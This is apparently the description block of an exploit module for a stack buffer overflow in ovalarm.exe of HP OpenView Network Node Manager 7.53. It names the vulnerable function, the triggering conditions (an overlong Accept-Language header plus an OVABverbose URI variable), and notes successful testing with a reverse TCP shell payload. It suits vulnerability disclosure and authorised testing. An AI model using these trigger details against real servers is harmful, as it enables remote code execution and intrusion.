					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
				By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute
				arbitrary code.

				This specific vulnerability is due to a call to "sprintf_new" in the "isWide"
				function within "ovalarm.exe". A stack buffer overflow occurs when processing an
				HTTP request that contains the following.

				1. An "Accept-Language" header longer than 100 bytes
				2. An "OVABverbose" URI variable set to "on", "true" or "1"

				The vulnerability is related to "_WebSession::GetWebLocale()" ..

				NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
